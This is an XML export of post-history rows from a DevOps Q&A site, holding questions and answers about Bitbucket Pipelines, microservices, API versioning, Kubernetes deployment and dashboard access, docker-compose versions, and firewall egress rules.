  <row Id="11008" PostHistoryTypeId="2" PostId="3526" RevisionGUID="043c97ac-31cd-4e64-bd67-a4e512302909" CreationDate="2018-03-03T10:54:23.780" UserId="210" Text="The following bitbucket-pipelines file has been created:&#xD;&#xA;&#xD;&#xA;    options:&#xD;&#xA;      docker: true&#xD;&#xA;    &#xD;&#xA;    pipelines:&#xD;&#xA;      default:&#xD;&#xA;        - step:&#xD;&#xA;            script:&#xD;&#xA;              - echo &quot;Login to the docker registry&quot;&#xD;&#xA;              - docker login some-docker-registry&#xD;&#xA;        - step:&#xD;&#xA;            script:&#xD;&#xA;              - echo &quot;Build some-image&quot;&#xD;&#xA;              - docker build some-docker-registry/some-image .&#xD;&#xA;              - docker push some-docker-registry/some-image&#xD;&#xA;        - step:&#xD;&#xA;            script:&#xD;&#xA;              - echo &quot;Build some-image2&quot;&#xD;&#xA;              - docker build some-docker-registry/some-image2 .&#xD;&#xA;              - docker push some-docker-registry/some-image2&#xD;&#xA;            deployment: production&#xD;&#xA;&#xD;&#xA;When it is run by bitbucket, it indicates that the authentication to the docker registry fails so now this step has to be added over and over again:&#xD;&#xA;&#xD;&#xA;    options:&#xD;&#xA;      docker: true&#xD;&#xA;    &#xD;&#xA;    pipelines:&#xD;&#xA;      default:&#xD;&#xA;        - step:&#xD;&#xA;            script:&#xD;&#xA;              - echo &quot;Login to the docker registry&quot;&#xD;&#xA;              - docker login some-docker-registry&#xD;&#xA;              - echo &quot;Build some-image&quot;&#xD;&#xA;              - docker build some-docker-registry/some-image .&#xD;&#xA;              - docker push some-docker-registry/some-image&#xD;&#xA;        - step:&#xD;&#xA;            script:&#xD;&#xA;              - echo &quot;Login to the docker registry&quot;&#xD;&#xA;              - docker login some-docker-registry&#xD;&#xA;              - echo &quot;Build some-image2&quot;&#xD;&#xA;              - docker build some-docker-registry/some-image2 .&#xD;&#xA;              - docker push some-docker-registry/some-image2&#xD;&#xA;            deployment: production&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is it possible to prevent such duplication? An attempt has been made (see first code snippet), but that does not seem to work, i.e. a docker login is required by every step." ContentLicense="CC BY-SA 3.0" />
  <row Id="11009" PostHistoryTypeId="1" PostId="3526" RevisionGUID="043c97ac-31cd-4e64-bd67-a4e512302909" CreationDate="2018-03-03T10:54:23.780" UserId="210" Text="How to avoid code duplication in bitbucket-pipelines?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11010" PostHistoryTypeId="3" PostId="3526" RevisionGUID="043c97ac-31cd-4e64-bd67-a4e512302909" CreationDate="2018-03-03T10:54:23.780" UserId="210" Text="&lt;bitbucket-pipelines&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11011" PostHistoryTypeId="2" PostId="3527" RevisionGUID="80dc9fc2-601f-4e5b-ae1e-6250dd4330fb" CreationDate="2018-03-03T10:55:09.360" UserId="210" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="11012" PostHistoryTypeId="1" PostId="3527" RevisionGUID="80dc9fc2-601f-4e5b-ae1e-6250dd4330fb" CreationDate="2018-03-03T10:55:09.360" UserId="210" ContentLicense="CC BY-SA 3.0" />
  <row Id="11013" PostHistoryTypeId="2" PostId="3528" RevisionGUID="d24939cb-9c68-4e27-9711-c9eb4ba8688d" CreationDate="2018-03-03T10:55:09.360" UserId="210" Text="If a question is about the CI template of bitbucket, i.e. bitbucket-pipelines, then this tag could be used." ContentLicense="CC BY-SA 3.0" />
  <row Id="11014" PostHistoryTypeId="1" PostId="3528" RevisionGUID="d24939cb-9c68-4e27-9711-c9eb4ba8688d" CreationDate="2018-03-03T10:55:09.360" UserId="210" ContentLicense="CC BY-SA 3.0" />
  <row Id="11015" PostHistoryTypeId="2" PostId="3529" RevisionGUID="582fdf6f-ee8f-48ff-815b-e90c403ec3c8" CreationDate="2018-03-03T11:09:03.350" UserId="6686" Text="In a standard cloud based microservice application, there could be two main categories of microservices: `core services` such as service registry &amp; discovery, api-gateway, load-balancer etc. and `service instances` e.g customers, billing and postage services. In this illustration, I used  `core services` and `service instances` to distinguish the two main groups. Are there standard naming conventions for these two or is my classification/thinking aright ? " ContentLicense="CC BY-SA 3.0" />
  <row Id="11016" PostHistoryTypeId="1" PostId="3529" RevisionGUID="582fdf6f-ee8f-48ff-815b-e90c403ec3c8" CreationDate="2018-03-03T11:09:03.350" UserId="6686" Text="Microservices terminology i.e. distinguishing between &quot;core &quot; and &quot;other service instances&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11017" PostHistoryTypeId="3" PostId="3529" RevisionGUID="582fdf6f-ee8f-48ff-815b-e90c403ec3c8" CreationDate="2018-03-03T11:09:03.350" UserId="6686" Text="&lt;docker&gt;&lt;microservices&gt;&lt;load-balance&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11018" PostHistoryTypeId="2" PostId="3530" RevisionGUID="840ca94e-043a-4dae-af09-ba92cefeab0c" CreationDate="2018-03-03T11:46:41.843" UserId="6756" Text="Take a look at Gitea, https://gitea.io/en-US/, much easier to host yourself than Gitlab and you are in control if things go down. I think that by making the database backend HA you could roll out more Gitea frontends.&#xD;&#xA;&#xD;&#xA;Another option to know about at least is Keybase private Git, https://keybase.io/blog/encrypted-git-for-everyone. Have not tried it or know anything about how it works.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11019" PostHistoryTypeId="5" PostId="3529" RevisionGUID="f681ae31-257d-4401-8c03-7ee3f8175ca7" CreationDate="2018-03-03T12:15:23.983" UserId="6686" Comment="added 397 characters in body; edited tags" Text="In a standard cloud based microservice application, there could be two main categories of microservices: `core services` such as service registry &amp; discovery, api-gateway, load-balancer etc. and `service instances` e.g customers, billing and postage services. In this illustration, I used  `core services` and `service instances` to distinguish the two main groups. Are there standard naming conventions for these two or is my classification/thinking aright ? Here are some demo projects about the subject and each of these consists of the mentioned services : [Weaveworks Socks Shop][1], [Spring PetClinic][2] and [PiggyMetrics][3] . These applications have top ranking stars on GitHub.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://microservices-demo.github.io/&#xD;&#xA;  [2]: https://github.com/spring-petclinic/spring-petclinic-microservices&#xD;&#xA;  [3]: https://github.com/sqshq/PiggyMetrics" ContentLicense="CC BY-SA 3.0" />
  <row Id="11020" PostHistoryTypeId="6" PostId="3529" RevisionGUID="f681ae31-257d-4401-8c03-7ee3f8175ca7" CreationDate="2018-03-03T12:15:23.983" UserId="6686" Comment="added 397 characters in body; edited tags" Text="&lt;microservices&gt;&lt;architecture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11021" PostHistoryTypeId="2" PostId="3531" RevisionGUID="b2042fed-67ea-4e94-82ce-278810f9675a" CreationDate="2018-03-03T12:49:48.050" UserId="210" Text="The last couple of years I am/was part of couple of DevOps teams that are/were creating microservices. Some of the projects failed miserably.&#xD;&#xA;&#xD;&#xA;Reasons:&#xD;&#xA;&#xD;&#xA; - stubborn, inexperienced, irrational architect that only read a blog about microservices and claims that he is the expert of microservices&#xD;&#xA; - team members that lack knowledge, but indicate that they know everything about it as the architect told them about it&#xD;&#xA; - lack of DevOps mindset&#xD;&#xA; - no support from management&#xD;&#xA; - thinking that microservices are the holy grail, i.e. Y=&gt;X instead of X=&gt;Y&#xD;&#xA;&#xD;&#xA;According to me, a DevOps mindset is that one works together and that one focuses on deliverables, i.e. new software live within two weeks. If one wants to create all microservices in advance then a lot of assumptions have to be done and nothing will be put to production, i.e. available to the customer.&#xD;&#xA;&#xD;&#xA;This happened in one of my projects. The architects was continuously talking about &quot;what if this would happen and this&quot; and so on. Outcome? After one year, nothing was running in production.&#xD;&#xA;&#xD;&#xA;In my opinion, some companies start with microservices because they have heard about it, but do not know exactly what microservices are. Microservices are not the holy grail, e.g. one could create nanoservices, one should master automation.&#xD;&#xA;&#xD;&#xA;My point of view about microservices is that one should start with a monolith first, e.g. if you want a webshop just start with it and ensures that it is running in production within two weeks. Secondly, start monitoring it, check if there are problems in certain areas, e.g. more bugs in component X or component Y is extremely slow. If it is clear that component Y is slow, create a plan of extracting it, rewrite it within two weeks, apply autoscaling. &#xD;&#xA;&#xD;&#xA;I am in favor of &quot;de kaasschaafmethode&quot;, i.e. &quot;cheese slicer method&quot;. As the cheese itself is a product that delivers value and is running in production and the X=&gt;Y approach is used. Start with a problem and check what could solve this problem, instead of thinking about a solution, e.g. microservices (Y) that could solve a (hypothetical) problem.&#xD;&#xA;&#xD;&#xA;For your information. I am currently busy with a personal microservices project that consists of two microservices, e.g. an api and a write microservice. I am first solving the impediments and cleaning up my backlog. Off course I have some ideas about next microservices, but I want to put first things first and add value to the customers instead of doing a lot without finishing this microservice project that I have already experienced a couple of times.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11022" PostHistoryTypeId="5" PostId="3531" RevisionGUID="3d8d581f-e848-44c0-8aca-de3e6e674e1b" CreationDate="2018-03-03T12:55:50.080" UserId="210" Comment="deleted 25 characters in body" Text="The last couple of years I am/was part of couple of DevOps teams that are/were creating microservices. Some of the projects failed miserably.&#xD;&#xA;&#xD;&#xA;Reasons:&#xD;&#xA;&#xD;&#xA; - stubborn, inexperienced, irrational architect that only read a blog about microservices and claims that he is the expert of microservices&#xD;&#xA; - team members that lack knowledge, but indicate that they know everything about it as the architect told them about it&#xD;&#xA; - lack of DevOps mindset&#xD;&#xA; - no support from management&#xD;&#xA; - thinking that microservices are the holy grail, i.e. Y=&gt;X instead of X=&gt;Y&#xD;&#xA;&#xD;&#xA;According to me, a DevOps mindset is that one works together and that one focuses on deliverables, i.e. new software live within two weeks. If one wants to create all microservices in advance then a lot of assumptions have to be done and nothing will be put to production, i.e. available to the customer.&#xD;&#xA;&#xD;&#xA;This happened in one of my projects. The architects was continuously talking about &quot;what if this would happen and this&quot; and so on. Outcome? After one year, nothing was running in production.&#xD;&#xA;&#xD;&#xA;In my opinion, some companies start with microservices because they have heard about it, but do not know exactly what microservices are. Microservices are not the holy grail, e.g. one could create nanoservices, one should master automation.&#xD;&#xA;&#xD;&#xA;My point of view about microservices is that one should start with a monolith first, e.g. if you want a webshop just start with it and ensures that it is running in production within two weeks. Secondly, start monitoring it, check if there are problems in certain areas, e.g. more bugs in component X or component Y is extremely slow. If it is clear that component Y is slow, create a plan of extracting it, rewrite it within two weeks, apply autoscaling. &#xD;&#xA;&#xD;&#xA;I am in favor of the &quot;cheese slicer method&quot;. As the cheese itself is a product that delivers value and is running in production and the X=&gt;Y approach is used. Start with a problem and check what could solve this problem, instead of thinking about a solution, e.g. microservices (Y) that could solve a (hypothetical) problem.&#xD;&#xA;&#xD;&#xA;For your information. I am currently busy with a personal microservices project that consists of two microservices, e.g. an api and a write microservice. I am first solving the impediments and cleaning up my backlog. Off course I have some ideas about next microservices, but I want to put first things first and add value to the customers instead of doing a lot without finishing this microservice project that I have already experienced a couple of times.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11023" PostHistoryTypeId="5" PostId="3531" RevisionGUID="60c5f557-5a38-47f3-a356-3efbbc9fa1a6" CreationDate="2018-03-03T13:01:35.863" UserId="210" Comment="deleted 25 characters in body" Text="The last couple of years I am/was part of couple of DevOps teams that are/were creating microservices. Some of the projects failed miserably.&#xD;&#xA;&#xD;&#xA;Reasons:&#xD;&#xA;&#xD;&#xA; - stubborn, inexperienced, irrational architect that only read a blog about microservices and claims that he is the expert of microservices&#xD;&#xA; - team members that lack knowledge, but indicate that they know everything about it as the architect told them about it&#xD;&#xA; - lack of DevOps mindset&#xD;&#xA; - no support from management&#xD;&#xA; - thinking that microservices are the holy grail, i.e. Y=&gt;X instead of X=&gt;Y&#xD;&#xA;&#xD;&#xA;According to me, a DevOps mindset is that one works together and that one focuses on deliverables, i.e. new software live within two weeks. If one wants to create all microservices in advance then a lot of assumptions have to be done and nothing will be put to production, i.e. available to the customer.&#xD;&#xA;&#xD;&#xA;This happened in one of my projects. The architects was continuously talking about &quot;what if this would happen and this&quot; and so on. Outcome? After one year, nothing was running in production.&#xD;&#xA;&#xD;&#xA;In my opinion, some companies start with microservices because they have heard about it, but do not know exactly what microservices are. Microservices are not the holy grail, e.g. one could create nanoservices, one should master automation.&#xD;&#xA;&#xD;&#xA;My point of view about microservices is that one should start with a monolith first, e.g. if you want a webshop just start with it and ensures that it is running in production within two weeks. Secondly, start monitoring it, check if there are problems in certain areas, e.g. more bugs in component X or component Y is extremely slow. If it is clear that component Y is slow, create a plan of extracting it, rewrite it within two weeks, apply autoscaling. &#xD;&#xA;&#xD;&#xA;I am in favor of the &quot;cheese slicer method&quot;. As the cheese itself is a product that delivers value and is running in production and the X=&gt;Y approach is used. Start with a problem and check what could solve this problem, instead of thinking about a solution, e.g. microservices (Y) that could solve a (hypothetical) problem.&#xD;&#xA;&#xD;&#xA;For your information. I am currently busy with a personal microservices project that consists of two microservices, e.g. an api and a write microservice. I am first solving the impediments and cleaning up my backlog. Off course I have some ideas about next microservices, but I want to put first things first and add value to the customers instead of doing a lot without finishing this microservice project that I have already experienced a couple of times.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Note: once the current backlog is complete, an additional paragraph about&#xD;&#xA;&#xD;&#xA;&gt; If Microservices terminology i.e. distinguishing between `core` and&#xD;&#xA;&gt; `other service instances`&#xD;&#xA;&#xD;&#xA;will follow.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11024" PostHistoryTypeId="2" PostId="3532" RevisionGUID="8c19a472-dc0d-471c-96f3-6497b971c42f" CreationDate="2018-03-03T13:07:08.107" UserId="210" Text="Unlike the declarative pipelines in Jenkins, bitbucket does not seem to have such functionality. In order to prevent code duplication a script was created and the current bitbucket-pipelines looks as follows:&#xD;&#xA;&#xD;&#xA;    options:&#xD;&#xA;      docker: true&#xD;&#xA;    &#xD;&#xA;    pipelines:&#xD;&#xA;      default:&#xD;&#xA;        - step:&#xD;&#xA;            script:&#xD;&#xA;              - ./build-script.sh API true true&#xD;&#xA;        - step:&#xD;&#xA;            script:&#xD;&#xA;              - ./build-script.sh Write true true&#xD;&#xA;            deployment: production&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11025" PostHistoryTypeId="2" PostId="3533" RevisionGUID="c471a3a7-4f0b-4022-9cb8-4e5d84be6f67" CreationDate="2018-03-03T13:14:56.750" UserId="210" Text="I was looking for the current version of the github API, but it seems to be omitted.&#xD;&#xA;&#xD;&#xA;https://api.github.com/&#xD;&#xA;&#xD;&#xA;I am personally considering to add a new field to my own API, but I wonder whether that is a common practice or should be done differently." ContentLicense="CC BY-SA 3.0" />
  <row Id="11026" PostHistoryTypeId="1" PostId="3533" RevisionGUID="c471a3a7-4f0b-4022-9cb8-4e5d84be6f67" CreationDate="2018-03-03T13:14:56.750" UserId="210" Text="Is it a common practice to include the version of an API into the rest interface itself?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11027" PostHistoryTypeId="3" PostId="3533" RevisionGUID="c471a3a7-4f0b-4022-9cb8-4e5d84be6f67" CreationDate="2018-03-03T13:14:56.750" UserId="210" Text="&lt;api&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11028" PostHistoryTypeId="2" PostId="3534" RevisionGUID="abd6c6db-d4fb-437b-8857-cc19621a0871" CreationDate="2018-03-03T14:01:17.153" UserId="707" Text="Optionally, you could consider vortual workbench like Che (in case it is mature enough for your purposes, can't judge on this.)&#xD;&#xA;And, such actions must be definitely in sync with privacy protection law and colleagues informed.&#xD;&#xA;I see a use case where it is not spying but rather establishing standards (a good workshop topic)." ContentLicense="CC BY-SA 3.0" />
  <row Id="11029" PostHistoryTypeId="50" PostId="2412" RevisionGUID="0c4709cf-5e83-4a23-8398-d9b04d104307" CreationDate="2018-03-03T16:32:39.670" UserId="-1" />
  <row Id="11030" PostHistoryTypeId="2" PostId="3535" RevisionGUID="55da49c8-6f82-4c1c-9192-ced3278d98cf" CreationDate="2018-03-03T17:01:32.907" UserId="460" Text="Many APIs include a version number in the url of the service. Some examples:&#xD;&#xA;&#xD;&#xA;* https://api.twitter.com/1.1/statuses/home_timeline.json&#xD;&#xA;* https://graph.facebook.com/v2.2/me/adaccounts&#xD;&#xA;* https://vision.googleapis.com/v1/images:annotate?key=YOUR_API_KEY&#xD;&#xA;* https://maps.googleapis.com/maps/api/js?v=3.29&#xD;&#xA;* https://westeurope.api.cognitive.microsoft.com/vision/v1.0/analyze&#xD;&#xA;* https://www.europeana.eu/api/v2/opensearch.rss?searchTerms=Rembrandt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;However many people on the Internet argue that this is incorrect because it violates REST/HTTP specifications; [&quot;embedding of API version into the URI would disrupt the concept of hypermedia as the engine of application state&quot;](https://stackoverflow.com/a/398564/741249). It’s more appropriate to [use the Accept header to request a particular version](http://blog.steveklabnik.com/posts/2011-07-03-nobody-understands-rest-or-http). For the latter people suggest to use a Vendor MIME type, for example something like `Accept: application/vnd.mycompany-api-v3+json `&#xD;&#xA;&#xD;&#xA;Nevertheless, the reason why many API designers do include an API version in the url is because it's easy to implement and debug (clearly visible which version you are using).&#xD;&#xA;&#xD;&#xA;*Side note:* in our organization we recently decided to support both a versionless endpoint that always point to the latest stable version of our APIs, as well as an endpoint with a version specification. This allows users to choose if they want to commit to our latest API (which may require making changes when a newer version is released), or to connect to a fixed API version (which may become deprecated over time).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11031" PostHistoryTypeId="50" PostId="1917" RevisionGUID="8b9b2405-04bd-4774-b3ea-b609a4dfd870" CreationDate="2018-03-03T17:33:20.010" UserId="-1" />
  <row Id="11032" PostHistoryTypeId="50" PostId="1877" RevisionGUID="917b9406-49e8-435e-a3fb-6fc42fbda3c5" CreationDate="2018-03-03T18:34:01.977" UserId="-1" />
  <row Id="11033" PostHistoryTypeId="2" PostId="3536" RevisionGUID="7be8b56a-3cda-40f5-af50-5f1138cb93bd" CreationDate="2018-03-03T21:44:16.690" UserId="210" Text="The aim is to implement Continuous Deployment (CD) to a k8s cluster.&#xD;&#xA;&#xD;&#xA;It works to deploy a Nginx image to the k8s.&#xD;&#xA;&#xD;&#xA;https://github.com/kubernetes/kubernetes/blob/master/examples/simple-nginx.md&#xD;&#xA;```&#xD;&#xA;kubectl run my-nginx --image=nginx --replicas=2 --port=80&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When the same command is run in a CD tool then it complains that it cannot find the cluster. Off course it is possible to copy the `~/.kube/config`, but is that recommended?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11034" PostHistoryTypeId="1" PostId="3536" RevisionGUID="7be8b56a-3cda-40f5-af50-5f1138cb93bd" CreationDate="2018-03-03T21:44:16.690" UserId="210" Text="What about copying `~/.kube/config` to a CD tool in order to deploy apps to the k8s?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11035" PostHistoryTypeId="3" PostId="3536" RevisionGUID="7be8b56a-3cda-40f5-af50-5f1138cb93bd" CreationDate="2018-03-03T21:44:16.690" UserId="210" Text="&lt;kubernetes&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11036" PostHistoryTypeId="2" PostId="3537" RevisionGUID="7c3389aa-1276-4d7c-83e7-f561d37e2add" CreationDate="2018-03-03T22:15:16.767" UserId="210" Text="Back in the day when I ran `kubectl proxy`, I could login to http://localhost:8001 immediately, but know a login prompt is shown. When `skipped` is clicked the following message is shown:&#xD;&#xA;&#xD;&#xA;&gt; configmaps is forbidden: User&#xD;&#xA;&gt; &quot;system:serviceaccount:kube-system:kubernetes-dashboard&quot; cannot list&#xD;&#xA;&gt; configmaps in the namespace &quot;default&quot;: Unknown user&#xD;&#xA;&gt; &quot;system:serviceaccount:kube-system:kubernetes-dashboard&quot;&#xD;&#xA;&#xD;&#xA;**Attempt to solve the issue**&#xD;&#xA;&#xD;&#xA;When the kubeconfig is copied, then the login fails as well" ContentLicense="CC BY-SA 3.0" />
  <row Id="11037" PostHistoryTypeId="1" PostId="3537" RevisionGUID="7c3389aa-1276-4d7c-83e7-f561d37e2add" CreationDate="2018-03-03T22:15:16.767" UserId="210" Text="How to login to k8s proxy nowadays?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11038" PostHistoryTypeId="3" PostId="3537" RevisionGUID="7c3389aa-1276-4d7c-83e7-f561d37e2add" CreationDate="2018-03-03T22:15:16.767" UserId="210" Text="&lt;kubernetes&gt;&lt;authentication&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11039" PostHistoryTypeId="5" PostId="3536" RevisionGUID="5ec6106a-597a-4986-ae99-bb6f75195612" CreationDate="2018-03-03T23:21:18.713" UserId="210" Comment="added 341 characters in body; edited tags; edited title" Text="The aim is to implement Continuous Deployment (CD) to a k8s cluster.&#xD;&#xA;&#xD;&#xA;It works to deploy a Nginx image to the k8s.&#xD;&#xA;&#xD;&#xA;https://github.com/kubernetes/kubernetes/blob/master/examples/simple-nginx.md&#xD;&#xA;```&#xD;&#xA;kubectl run my-nginx --image=nginx --replicas=2 --port=80&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When the same command is run in a CD tool then it complains that it cannot find the cluster. Off course it is possible to copy the `~/.kube/config`, but is that recommended?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When the Kubeconfig is stored in a variable and kubectl is run by bitbucketpipeleines then the following error is trhown:&#xD;&#xA;&#xD;&#xA;    error: Error loading config file &quot;/root/.kube/config&quot;: yaml: mapping values are not allowed in this context&#xD;&#xA;&#xD;&#xA;Inspecting the files turns out that the whole file consists of one line instead of multiple. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11040" PostHistoryTypeId="4" PostId="3536" RevisionGUID="5ec6106a-597a-4986-ae99-bb6f75195612" CreationDate="2018-03-03T23:21:18.713" UserId="210" Comment="added 341 characters in body; edited tags; edited title" Text="How to deploy applications to k8s using bitbucket pipeleines?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11041" PostHistoryTypeId="6" PostId="3536" RevisionGUID="5ec6106a-597a-4986-ae99-bb6f75195612" CreationDate="2018-03-03T23:21:18.713" UserId="210" Comment="added 341 characters in body; edited tags; edited title" Text="&lt;kubernetes&gt;&lt;bitbucket-pipelines&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11042" PostHistoryTypeId="2" PostId="3538" RevisionGUID="214c7f51-9d0d-419d-a35b-1229a34ac5d3" CreationDate="2018-03-04T06:16:21.967" UserId="6760" Text="What is the Kubernetes version? Is it &gt;1.8 ? (which has RBAC enabled by default).&#xD;&#xA;&#xD;&#xA;The error message says that the Kubernetes Dashboard service account is not allowed to list configmaps in default namespace. RBAC by default is deny-all. You need to explicitly grant permissions.&#xD;&#xA;&#xD;&#xA;You can create the following `ClusterRoleBinding` to grant dashboard full admin privileges.&#xD;&#xA;&#xD;&#xA;    apiVersion: rbac.authorization.k8s.io/v1beta1&#xD;&#xA;    kind: ClusterRoleBinding&#xD;&#xA;    metadata:&#xD;&#xA;      name: kubernetes-dashboard&#xD;&#xA;      labels:&#xD;&#xA;        k8s-app: kubernetes-dashboard&#xD;&#xA;    roleRef:&#xD;&#xA;      apiGroup: rbac.authorization.k8s.io&#xD;&#xA;      kind: ClusterRole&#xD;&#xA;      name: cluster-admin&#xD;&#xA;    subjects:&#xD;&#xA;    - kind: ServiceAccount&#xD;&#xA;      name: kubernetes-dashboard&#xD;&#xA;      namespace: kube-system&#xD;&#xA;&#xD;&#xA;Save the above block into `dashboard-rolebinding.yaml` and create it on the cluster:&#xD;&#xA;&#xD;&#xA;    kubectl create -f dashboard-rolebinding.yaml&#xD;&#xA;&#xD;&#xA;**IMPORTANT**: Make sure your dashboard is secured from outside before doing this. Otherwise anyone can have complete access to your cluster. Here is a great article about securing  kubernetes dashboard, from Heptio: https://blog.heptio.com/on-securing-the-kubernetes-dashboard-16b09b1b7aca writted by Joe Beda himself." ContentLicense="CC BY-SA 3.0" />
  <row Id="11043" PostHistoryTypeId="5" PostId="3536" RevisionGUID="dc8dc936-866d-43dd-bbed-509b02fc2702" CreationDate="2018-03-04T07:23:38.827" UserId="47" Comment="fixed typos" Text="The aim is to implement Continuous Deployment (CD) to a k8s cluster.&#xD;&#xA;&#xD;&#xA;It works to deploy a Nginx image to the k8s.&#xD;&#xA;&#xD;&#xA;https://github.com/kubernetes/kubernetes/blob/master/examples/simple-nginx.md&#xD;&#xA;```&#xD;&#xA;kubectl run my-nginx --image=nginx --replicas=2 --port=80&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When the same command is run in a CD tool then it complains that it cannot find the cluster. Off course it is possible to copy the `~/.kube/config`, but is that recommended?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When the Kubeconfig is stored in a variable and kubectl is run by bitbucketpipelines then the following error is thrown:&#xD;&#xA;&#xD;&#xA;    error: Error loading config file &quot;/root/.kube/config&quot;: yaml: mapping values are not allowed in this context&#xD;&#xA;&#xD;&#xA;Inspecting the files turns out that the whole file consists of one line instead of multiple. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11044" PostHistoryTypeId="4" PostId="3536" RevisionGUID="dc8dc936-866d-43dd-bbed-509b02fc2702" CreationDate="2018-03-04T07:23:38.827" UserId="47" Comment="fixed typos" Text="How to deploy applications to k8s using bitbucket pipelines?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11046" PostHistoryTypeId="2" PostId="3539" RevisionGUID="dfe13390-6d0d-40dc-a0d8-7ab116043eff" CreationDate="2018-03-04T10:48:59.437" UserId="210" Text="When I would like to update an app at the moment, `docker-compose down`, the version in the `docker-compose.yaml` is changed, subsequently the app is started and the latest version is running.&#xD;&#xA;&#xD;&#xA;Now I would like to update it automatically. It it possible to update the version by passing a variable?&#xD;&#xA;&#xD;&#xA;**Workaround**&#xD;&#xA;&#xD;&#xA;At the moment I use `sed` to update the docker-compose file, but I wonder whether there is an easier approach." ContentLicense="CC BY-SA 3.0" />
  <row Id="11047" PostHistoryTypeId="1" PostId="3539" RevisionGUID="dfe13390-6d0d-40dc-a0d8-7ab116043eff" CreationDate="2018-03-04T10:48:59.437" UserId="210" Text="How to pass the version to docker-compose?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11048" PostHistoryTypeId="3" PostId="3539" RevisionGUID="dfe13390-6d0d-40dc-a0d8-7ab116043eff" CreationDate="2018-03-04T10:48:59.437" UserId="210" Text="&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11050" PostHistoryTypeId="50" PostId="1088" RevisionGUID="c387f45e-ca9e-4bff-b9a7-d91804e1e7cf" CreationDate="2018-03-04T14:49:34.230" UserId="-1" />
  <row Id="11051" PostHistoryTypeId="2" PostId="3540" RevisionGUID="63dbfd38-7dd5-4cdf-a383-1b61710ed3f3" CreationDate="2018-03-04T17:09:25.843" UserId="210" Text="I have denied all outgoing traffic, but need to allow some of them in order to allow the installation of certain software packages. One of such packages resides on github and that means that the ip range of `github-production-release-asset-2e65be.s3.amazonaws.com` has to be allowed, but after adding a couple of ip addresses it turns out that there are multiple ips.&#xD;&#xA;&#xD;&#xA;**Attempt to solve the issue**&#xD;&#xA;&#xD;&#xA;https://api.github.com/meta was found and returns the ips, but not those of AWS&#xD;&#xA;&#xD;&#xA;**Current approach**&#xD;&#xA;&#xD;&#xA;I am thinking of allowing 52.216* but that entry does not seem to be allowed by the firewall and apart from that, it is too open" ContentLicense="CC BY-SA 3.0" />
  <row Id="11052" PostHistoryTypeId="1" PostId="3540" RevisionGUID="63dbfd38-7dd5-4cdf-a383-1b61710ed3f3" CreationDate="2018-03-04T17:09:25.843" UserId="210" Text="How to get the ip range of github-production-release-asset-2e65be.s3.amazonaws.com?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11053" PostHistoryTypeId="3" PostId="3540" RevisionGUID="63dbfd38-7dd5-4cdf-a383-1b61710ed3f3" CreationDate="2018-03-04T17:09:25.843" UserId="210" Text="&lt;firewall&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11054" PostHistoryTypeId="5" PostId="3540" RevisionGUID="e30e21ab-0a49-4c90-be6d-cc6705e8640d" CreationDate="2018-03-04T17:19:44.917" UserId="210" Comment="deleted 40 characters in body" Text="I have denied all outgoing traffic, but need to allow some of them in order to allow the installation of certain software packages. One of such packages resides on github and that means that the ip range of `github-production-release-asset-2e65be.s3.amazonaws.com` has to be allowed, but after adding a couple of ip addresses it turns out that there are multiple ips.&#xD;&#xA;&#xD;&#xA;**Attempt to solve the issue**&#xD;&#xA;&#xD;&#xA;https://api.github.com/meta was found and returns the ips, but not those of AWS&#xD;&#xA;&#xD;&#xA;**Current approach**&#xD;&#xA;&#xD;&#xA;As a workaround I have allow outgoing connection to `52.216/16`, but that it is too open" ContentLicense="CC BY-SA 3.0" />
